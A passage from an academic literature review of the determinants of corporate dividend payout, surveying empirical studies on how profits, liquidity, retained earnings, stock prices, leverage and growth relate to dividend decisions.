determining which determinant of dividend payout is the most significant in contributing to dividend decisions. It is said that the primary indicator of the firms capacity to pay dividends has been Profits. According to Lintner (1956) the dividend payment pattern of a firm is influenced by the current year earnings and previous year dividends. Pruitt and Gitmans (1991) survey of financial managers of 1000 largest U.S companies about the interplay among the investment and dividend decisions in their firms reported that, current and past year profits are essential factors influencing dividend payments. The conclusion derived from Baker and Powells (2000) survey of NYSE-listed firms is that the major determinant is the anticipated level of future earnings and continuity of past dividends. The study of Aivazian, Booth, and Cleary (2003) concludes that profitability and return on equity positi vely correlate with the size of the dividend payout ratio. The study by Lv Chang-jiang and Wang Ke-min (1999) on 316 listed companies in China that paid cash dividends during 1997 and 1998 by using modified Lintner dividend model, suggested that the dividend payout ratio is due to the firms current earning level. Other researchers like Chen Guo-Hui and Zhao Chun-guang (2000), Liu Shu-lian and Hu Yan-hong (2003) also concluded their research on the above stated understanding about dividend policy of listed companies in China. A survey done by Baker, Farrelly, and Edelman (1985) and Farrelly, Baker, and Edelman (1986) on 562 New York Stock Exchange (NYSE) firms with normal kinds of dividend polices in 1983 suggested that the major determinants of dividend payments were the anticipated level of future earnings and the pattern of past dividends. DeAngelo et al. (2004) findings suggest that earnings do have some impact on dividend payment. He stated that the high/increasing dividend concentration may be the result of high/increasing earnings concentration. Goergen et al. (2005) study on 221 German firms shows that net earnings were the key determinants of dividend changes. Baker and Smith (2006) examined 309 sample firms exhibiting behavior consistent with a residual dividend policy and their matched counterparts to understand how they set their dividend policies. Their study showed that for the matched firms, the pattern of past dividends and desire to maintain a long-term dividend payout ratio elicit the highest level of agreement from respondents. The study by Ferris et al. (2006) found mixed results for the relation between a firms earnings and its ability to pay dividends. Kao and Wu (1994) used a time series regression analysis of 454 firms over the period of 1965 to1986, and showed that there was a positive relationshi p between unexpected dividends and earnings. Carroll (1995) used quarterly data of 854 firms over the period of 1975 to 1984, and examined whether quarterly dividend changes predicted future earnings. He found a significant positive relationship. Liquidity is also an important determinant of dividend payouts. A poor liquidity position would generate fewer dividends due to shortage of cash. Alli et.al (1993), reveal that dividend payments depend more on cash flows, which reflect the companys ability to pay dividends, than on current earnings, which are less heavily influenced by accounting practices. They claim current earnings do no really reflect the firms ability to pay dividends. A firm without the cash flow back up cannot choose to have a high dividend payout as it will ultimately have to either reduce its investment plans or turn to investors for additional debt. The study by Brook, Charlton and Hendershott (1998) states that, Firms expecting large permanent cash flow increases tend to increase their dividend. Managers do not increase dividends until they are positive that sufficient cash will flow in to pay them (Brealey-Myers-2002). Myers and Bacons (2001) study shows a negative relationship between the liquid ratio and dividend payout. For companies to enable them to enhance their dividend paying capacity, and thus, to generate higher dividend paying capacity, it is necessary to retain their earnings to finance investment in fixed assets. The study by Belans et al (2007) states that the relationship between the firms liquidity and dividend is positive which explains that firms with more market liquidity pay more dividends. Reddy (2006), Amidu and Abor (2006) find opposite evidence. Lintner (1956) posited that the level of retained earnings is a dividend decision by- product. Adaoglu (2000) study shows that the firms listed on Istanbul Stock Exchange follow unstable cash dividend policy and the main factor for determining the amount of dividend is earning of the firms. The same conclusion was drawn by Omet (2004) in case of firms listed on Amman Securities Market and he further states that the tax imposition on dividend does not have the significant impact on the dividend behavior of the listed firms. The study by Mick and Bacon (2003) concludes that future earnings are the most influential variable and that the past dividend patterns as well as current and expected levels are empirically relevant in explaining the dividend decision. Empirical support for Lintners findings, that dividends were indeed a function of current and past profit levels and were negatively correlated with the change in sales was found by Darling (1957), Fama and Babiak (1968). Benchman a nd Raaballe (2007) discovered that the propensity to pay out dividends is positively correlated to retained earnings. Also, the study by Denis and Osobov (2006) states that retained earnings are a significant dividend characteristic for non- US firms including UK, German, and French firms. One of the motives for dividend policy decision is maintaining a moderate share price as poor stock price performance mostly conveys negative information about firms reputation. An empirical research took by Zhao Chun-guang and Zhang Xue-li et al (2001) on all A shares listed companies listed in Shenzhen and Shanghai Stock Exchange, states that the more cash dividends is paid when the stock prices are high. Chen Guo-Hui and Zhao Chun-guang (2000) undertook a research on all A shares listed before 1996 and paid dividend into share capital in 1997 as their sampling, and employed single-factor analysis, multifactor regression analysis to analyze the data. Their research showed a positive stock price reaction to the cash dividend, stock dividend policy. Myers and Bacon (2001) discussed that the debt to equity ratio was positively correlated to the dividend yield. Therefore firms with relatively more investment opportunities would tend to be more geared and vice versa (Ross, 2000). The study by Hu and Liu, (2005) declares that there is a positive correlation between the cash dividend the companies pay and their current earnings, and a inverse relationship between the debt to total assets and dividends. Green et al. (1993) questioned the irrelevance argument and investigated the relationship between the dividends and investment and financing decisions. Their study showed that dividend payout levels are decided along with investment and financing decisions. The study results however do not support the views of Miller and Modigliani (1961). Partington (1983) declared that firms motives for paying dividends and extent to which dividends are decided are independent of investment policy. The study by Higgins (1981) declares a direct link between growths and financing needs, rapidly growing firms have external financing needs because working capital needs normally exceed the incremental cash flows from new sales. Higgins (1972) suggests that payout ratios are negatively related to firms need top fund finance growth opportunities. Other researchers like Rozeff (1982), Lloyd et al. (1985) and Collins et al. (1996) all show significantly negative relationship between historical sales growth and dividend payout whereas D, Souza (1999) however shows a positive but insignificant relationship in the case of growth and negative but insignificant relationship in case of market to book value. Jenson and Meckling (1976) find a strong relationship between dividends and investment opportunities. They explain, in some circumstances where firms have relative uptight disposable